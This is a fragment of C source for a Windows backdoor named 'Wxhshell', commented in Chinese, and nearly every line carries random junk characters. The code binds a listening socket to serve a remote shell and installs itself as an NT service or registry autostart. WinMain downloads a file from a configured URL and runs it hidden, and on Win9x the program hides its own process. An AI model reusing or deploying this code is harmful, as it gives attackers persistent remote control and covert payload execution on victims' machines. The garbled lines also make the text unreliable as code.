DWORD PebBaseAddress; sfy}J1xIL
DWORD AffinityMask; Bob-qCBV
DWORD BasePriority; >4+KEK
ULONG UniqueProcessId; h$6~3^g:P
ULONG InheritedFromUniqueProcessId; 0x^lHBYc
} PROCESS_BASIC_INFORMATION; Jy('tfAHp
e:rbyzf#
PROCNTQSIP NtQueryInformationProcess; ]8'PLsS9<w
t4hc X[
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;
&Du S*
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; T_9o0Q k
mGJRCK_
HANDLE hProcess; bu08`P9
PROCESS_BASIC_INFORMATION pbi; l<7SB5
1FT3d
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Pl2eDv-y
if(NULL == hInst ) return 0; bg)}-]u]
g^\!> i
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); h7o.RRhK
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $Fy>N>,E(
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); eYu 0")
:s-9@Yl|
if (!NtQueryInformationProcess) return 0; 9E[==2TO
!?|xeQ}
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); LPca+o|f
if(!hProcess) return 0; >
+00[T
_]eyt_
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; qmvQd8|XR
;=6EBP%
CloseHandle(hProcess); q)AX*T+
0y+i?y
9
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2n-kJl`: O
if(hProcess==NULL) return 0; h[<l2fy
GY^;$ ?
HMODULE hMod; {.y_{yWo
char procName[255]; C46jVl
unsigned long cbNeeded; H(y Gh
Tb8r+~HK
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));
deTD|R
dT (i*E\j
CloseHandle(hProcess); ^r mQMjF
<~:2~r
if(strstr(procName,"services")) return 1; // 以服务启动 T4[/_;1g
1083p9Uh
return 0; // 注册表启动 ovDPnf(
} sc6NON#
%hdjQIH
// 主模块 [8 H:5Ho
int StartWxhshell(LPSTR lpCmdLine) ZNL+w4
{ g=,}j]tl
SOCKET wsl; qOnGP{
BOOL val=TRUE; %}XyzGq{
int port=0; M* {5> !\
struct sockaddr_in door; Z/|=@gpw
:3b02}b7
if(wscfg.ws_autoins) Install(); W,_2JqQp
<td]k%*+
port=atoi(lpCmdLine); {esb"beGLa
xH}bX- m
if(port<=0) port=wscfg.ws_port; 25@@-2h @
-~X[j2
WSADATA data; }Gy M<!:
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; XP?)xDr8
vJV/3-yX
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; &
d$X:
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); vbZ!NO!H
door.sin_family = AF_INET; S2nX{=
door.sin_addr.s_addr = inet_addr("127.0.0.1"); c&
bms)Jwa
door.sin_port = htons(port); l"jYY3N|h
!]RSG^%s{
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Nd{U|k3pL
closesocket(wsl); a;M{-G
return 1; Fop +xR,Z
} ,LxkdV
TU*EtE'g/
if(listen(wsl,2) == INVALID_SOCKET) { bX`Gv+
closesocket(wsl); &|db}\jT
return 1; 2% OAQ(
} ()F{kM8
Wxhshell(wsl); 1xkrhqq
WSACleanup(); ZmNNR 1%/
p(8 @
return 0; *c&|2EsZ
x}V&v?1{5
} ^H{YLO
=Vazxt@[
// 以NT服务方式启动 '
2O@
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) nAAv42j[
{ fFWi
3.
DWORD status = 0; Hrph>v
DWORD specificError = 0xfffffff; 6 . )Xeb"
3eXIo=
serviceStatus.dwServiceType = SERVICE_WIN32; 4RYH^9;>K
serviceStatus.dwCurrentState = SERVICE_START_PENDING; @qj]`}Gx'
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |r36iUHZS
serviceStatus.dwWin32ExitCode = 0; Id>4fF:o
serviceStatus.dwServiceSpecificExitCode = 0; t8rFn
serviceStatus.dwCheckPoint = 0; D|Wlq~IpQ
serviceStatus.dwWaitHint = 0; X J)Y-7c
F*r)
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); kfT*G
+l]
if (hServiceStatusHandle==0) return; s(J>yd=
oD1k7Gq1
status = GetLastError(); Xc}XRKiy{
if (status!=NO_ERROR) <c:H u{D
{ 8N?D1;F;
serviceStatus.dwCurrentState = SERVICE_STOPPED; o)^Wz
serviceStatus.dwCheckPoint = 0; jX(hBnGW
serviceStatus.dwWaitHint = 0; ( }Bb=~
serviceStatus.dwWin32ExitCode = status; GQ>0E
serviceStatus.dwServiceSpecificExitCode = specificError; ~1[n@{*: (
SetServiceStatus(hServiceStatusHandle, &serviceStatus); w>=N~0@t
return; c;fLM`{*
} .R'M'a#*!A
hqmE]hwc
serviceStatus.dwCurrentState = SERVICE_RUNNING; `[U.BVP'
serviceStatus.dwCheckPoint = 0; _vDmiIn6K
serviceStatus.dwWaitHint = 0; 1EEcNtpub]
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); NRx I?v
} #jW=K&;
TjYHoL5
// 处理NT服务事件,比如:启动、停止 &} `a"tYr
VOID WINAPI NTServiceHandler(DWORD fdwControl) =!xX{o?64
{ D&D6!jz
switch(fdwControl) " QiR
{ PPIO<K 3`
case SERVICE_CONTROL_STOP: $?bD55
serviceStatus.dwWin32ExitCode = 0; kLZVTVSJt
serviceStatus.dwCurrentState = SERVICE_STOPPED; ]+W){W=ai
serviceStatus.dwCheckPoint = 0; O=(F46 M
serviceStatus.dwWaitHint = 0; EwA*
{ F P|cA^$<
SetServiceStatus(hServiceStatusHandle, &serviceStatus); *4}NLUVX
} VJ&<6
return; ,m5i(WL
case SERVICE_CONTROL_PAUSE: p\lR1
serviceStatus.dwCurrentState = SERVICE_PAUSED; UU MB"3e
break; E5M/XW\E6
case SERVICE_CONTROL_CONTINUE: !]82$
serviceStatus.dwCurrentState = SERVICE_RUNNING; dS4z Oz"
break; G2)F<Y
case SERVICE_CONTROL_INTERROGATE: t^FE]$,
break; :TG;W,`.V
}; c {%mi
SetServiceStatus(hServiceStatusHandle, &serviceStatus); -OlrA{=c_
} 10*Tk 8
vk48&8
// 标准应用程序主函数 Kw"y#Ys]
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #X?[")R
{ 'yq?xlIj
f!w/zC .
// 获取操作系统版本 C8>
i{XOO,
OsIsNt=GetOsVer(); jS##zC
GetModuleFileName(NULL,ExeFile,MAX_PATH); W/>a 1
K4<"XF1A:
// 从命令行安装 +KIz#uqF8Z
if(strpbrk(lpCmdLine,"iI")) Install(); @:GqOTN
?{J1Uw<
// 下载执行文件 4oiE@y&{4
if(wscfg.ws_downexe) { `cXLa=B)9
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) c]aU}[s1
WinExec(wscfg.ws_filenam,SW_HIDE); t~/:St
} ": M]3.
pF-_yyQ
if(!OsIsNt) { rSJ!vQo
Cb
// 如果时win9x,隐藏进程并且设置为注册表启动 t:fz%IOe
HideProc(); fJc(
StartWxhshell(lpCmdLine); u@ #%SX
} f(D'qV T{
else uH%b rbrU
if(StartFromService()) PR:B6 F8
// 以服务方式启动 A+* lV*@0
StartServiceCtrlDispatcher(DispatchTable); L,y
q=%h|
else 8xgBNQdPT
// 普通方式启动 jc
Mn
StartWxhshell(lpCmdLine); o?>0WSLlm
]$r]GVeN}H
return 0; #xGP|:m
}